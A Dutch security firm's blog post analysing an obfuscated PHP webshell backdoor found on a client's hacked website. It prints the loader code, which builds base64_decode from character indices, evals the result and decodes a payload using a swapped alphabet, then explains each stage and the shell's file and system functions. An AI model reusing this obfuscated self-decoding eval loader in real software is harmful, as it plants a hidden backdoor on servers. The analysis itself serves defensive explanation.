Infoslot biedt inzicht in digitale inbraakbeveiliging
Direct Contact

Blog

Wat doet dit bestand?

[November 2015]     [Leestijd 5m40]

De website van een nieuwe relatie van Infoslot was gehackt. Infoslot werd gevraagd om de website weer schoon te maken en te beveiligen. Een complete analyse van oorzaak en gevolg kon helaas niet plaatsvinden, omdat de hosting provider helaas enkele bestanden had verwijderd. Tijdens de analyse kwam ik een bestand tegen 887454447.php. De werking hiervan is geanalyseerd. De code is alleen 'obfuscated' en niet versleuteld. Let wel ook Base64 is geen versleuteling maar encoding.

De analyse is uitgevoerd in een tijdelijk Kali Linux VMWARE Guest. Deze machine heeft geen netwerkverbinding.

$OOO0O0O00=__FILE__;$OOO000000=urldecode("e%61%68%36%73%62%65%68%71%
6c%61%34%63%6f%5f%73%61%64"e);
$OO00O0000=122296;
$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};
$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};
$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.
$OOO0000O0{7}.$OOO000000{5};
$O0O0000O0="eOOO0000O0"e;eval(($$O0O0000O0("eaWYoITApJE8wMDBPME8wMD1mb3Blbig
kT09PME8wTzAwLCdyYicpO2ZnZXRzKCRPMDAwTzBPMDAsMTAy
NCk7ZmdldHMoJE8wMDBPME8wMCw0MDk2KTskT08wME8wME8wPShiYXN
lNjRfZGVjb2RlKHN0cnRyKGZyZWFkKCRPMDAwTzBPMDAsM
zcyKSwnRW50ZXJ5b3V3a2hSSFlLTldPVVRBYUJiQ2NEZEZm
R2dJaUpqTGxNbVBwUXFTc1Z2WHhaejAxMjM0NTY3ODkrLz0n
LCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmF
iY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJ
ykpKTtldmFsKCRPTzAwTzAwTzApOw=="e)));return;?>
kr9NHenNHenNHe1lFMamb3klFoxiC2APk19gOLlHOa9gkZXJkZw
Vkr9NTznNHr8XHt4JkZwShokiF2A2Yy9LcBYvcoAPF3OZfuwPcmklCBWPkr8XHenNHr8XHtXLT08XHr
8XHeEXhUXmOB50cbk5d3a3D2i…………….[..]

Op het eerste gezicht lijkt dit een brij aan code. De auteur van dit script heeft getracht het een analyticus lastig te maken door variabelen een naam te geven met een afwisselende combinatie van Hoofdletter O en NUL.
De eerste stap hierin is om de PHP variabelen een zinvolle naam toe te wijzen. Dan wordt het bestand al beter leesbaar. De 'codestring' heb ik even geindexeert van 0 - tot einde string.

$OOO0O0O00 => $thisfile;
$OOO000000 => $codestring = ah6sbehqla4co_sad //urldecoded
0 = a, 1 = h, 2 = 6, 3 = s, 4 = b, 5 = e, 6 = h, 7 = q,
8 = l, 9 = a, 10 = 4, 11 = c, 12 = 0, 13 = _, 14 = s, 15 = a, 16 = d.
$OO00O0000 = $unknown_number = 122296
$command = //;$OOO0000O0
$codestring{4}.$codestring{9}.$codestring{3}.$codestring{5};
$codestring.=$codestring{2}.$codestring{10}.$codestring{13}.$OO000000{16}

Helaas kan ik niet het gehele script tonen, die is veel te groot. Na de PHP code is een reeks aan karakters geplaatst, later zal blijken wat het doel daarvan is geweest.
Hierboven is te zien dat een PHP-functienaam opgebouwd wordt door letters de kiezen uit de string " codestring ". Tot nu toe hebben we dan.

$OOO0000O0 => $command = “base64_d”

In het volgende deel is te zien dat letters elder vandaan worden gehaald, nl. uit de eigen opgebouwde string.

$command.=$command{3}.$codestring{11}.$codestring{12}.$command{7}.$codestring{5};
$command_code='$command';

Het totaal opgebouwde commando wordt dan:
$command_code = base64_decode De volgende string is uiteraard een base64 encoded string. Als we deze decoden zien we de volgende code verschijnen:

"if(!0)$O000O0O00=fopen($OOO0O0O00,"rb");
fgets($O000O0O00,1024);fgets($O000O0O00,4096);
$OO00O00O0=(base64_decode(strtr(fread($O000O0O00,372),
"EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=",
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"))); (vervolgens nog een eval command uiteraard)

Even weer de variabelen en uitlijning in orde maken:

"if(!0)$this_file_handle=fopen($thisfile,"rb"); ///$O000O0O00
fgets($this_file_handle,1024); //read first 1024 bytes
fgets($this_file_handle,4096); //read the following 4096 bytes
$command2=(base64_decode(strtr(fread($this_file_handle,372),"Enteryouwk
hRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=","ABCDEFGH
IJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")));

Zodra we deze code gaan uitvoeren zal het script zichzelf openen, dan de eerste 1024 bytes lezen, vervolgens de volgende 4096 bytes.
Dan worden de daarop volgende 372 bytes ingelezen. De voorkomende karakters in het eerste functie argument, van de functie strtr, worden vervangen door
de karakters in het tweede functie argument. Als we dit stukje code uitvoeren en dus niet "eval" gebruiken, dan zien we het volgende:

$OO00O00O0=ereg_replace("__FILE__",""".$OOO0O0O00.""",
(base64_decode(strtr(fread($O000O0O00,$OO00O0000),"Enteryouw
khRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=","ABCD
EFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"))));
fclose($O000O0O00);eval($OO00O00O0);

Ai we aint there yet.
Als we de variabelen en uitlijning weer in orde hebben:

$command3=ereg_replace("__FILE__",""".$thisfile.""",
(base64_decode(strtr(fread($this_file_handle,$$unknown_number)
,"EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=","A
BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"))));
fclose($O000O0O00);

Nu wordt de eerder gevonden " unknown_number = 122296 " gebruikt. De volgende 122296 bytes worden namelijk gelezen. En ook wederom worden karakters vervangen.

De uitkomst hiervan is een stuk leesbare PHP-code van ruim 3000 regels. De uitkomst heb ik opgeslagen in een tekstbestand. Er zijn veel functies die besturingssysteem en filesysteem analyses doen.
Ook is er een functie in gemaakt om de PHP.ini uit te lezen.

$explink = "http://exploit-db.com/list.php?description="
$explink .= urlencode("Linux Kernel " . substr($release,0,e));
$explink .= urlencode($kernel . " " . substr($release,0,o));
. "" . substr(@php_uname(), 0, 6a0) . " < a href="quot .
$explink . " target=_blank>[exploit-db.com]></a></nobr>" .
$uid . " ( " . $user . " )

Zodra deze webshell backdoor naar mijn rapportage werkstation wordt gekopieerd
geeft de virusscanner een melding en verwijderd het bestand.
Uiteindelijk ga ik het originele bestand runnen in Apache en met de IceWeasel browser opvragen.

Hierin zien we allerlei functies terugkomen. Een aanvaller die dit bestand plaats en vervolgens via de webbrowser opent
kan het gehele besturingssysteem en filesysteem onderzoeken, voor zover de beveiliging van dat betreffende systeem dat toelaat.
Ook zijn er voldoende mogelijkheden ingebouwd om bestand op de website te plaatsen, verwijderen en vervangen.

Nu vraagt u zich af , hoe een dergelijk bestand op de website terecht komt. In geval bleek er een fout te zitten in de toegang tot het Content Management Systeem.
Met een wel bekende kwetsbaarheid (sql injectie) kon met inloggen in het CMS en al daar de matig beveiligde upload functies gebruiken.

Zorg ervoor dat uw website niet kwetsbaar is voor dergelijk aanvallen. De gevolgen kunnen vervelend maar ook ernstige vormen aannemen.
Denk u maar eens racistische of politieke uitingen die een kwaadwillende op uw website kan plaatsen.
Of ze gebruiken uw website om anderen aan te vallen, waarbij men het eerste naar u zal wijzen.
De website van dit voorbeeld is toch een paar uurtjes offline geweest.

Laat uw website, maar ook overige systemen controleren op kwetsbaarheden.
Infoslot kan u helpen om inzicht te geven in het beveiligingsniveau en u instaat stellen om bewuste keuzes te maken.


Share on Linkedin

© Infoslot Informatiebeveiliging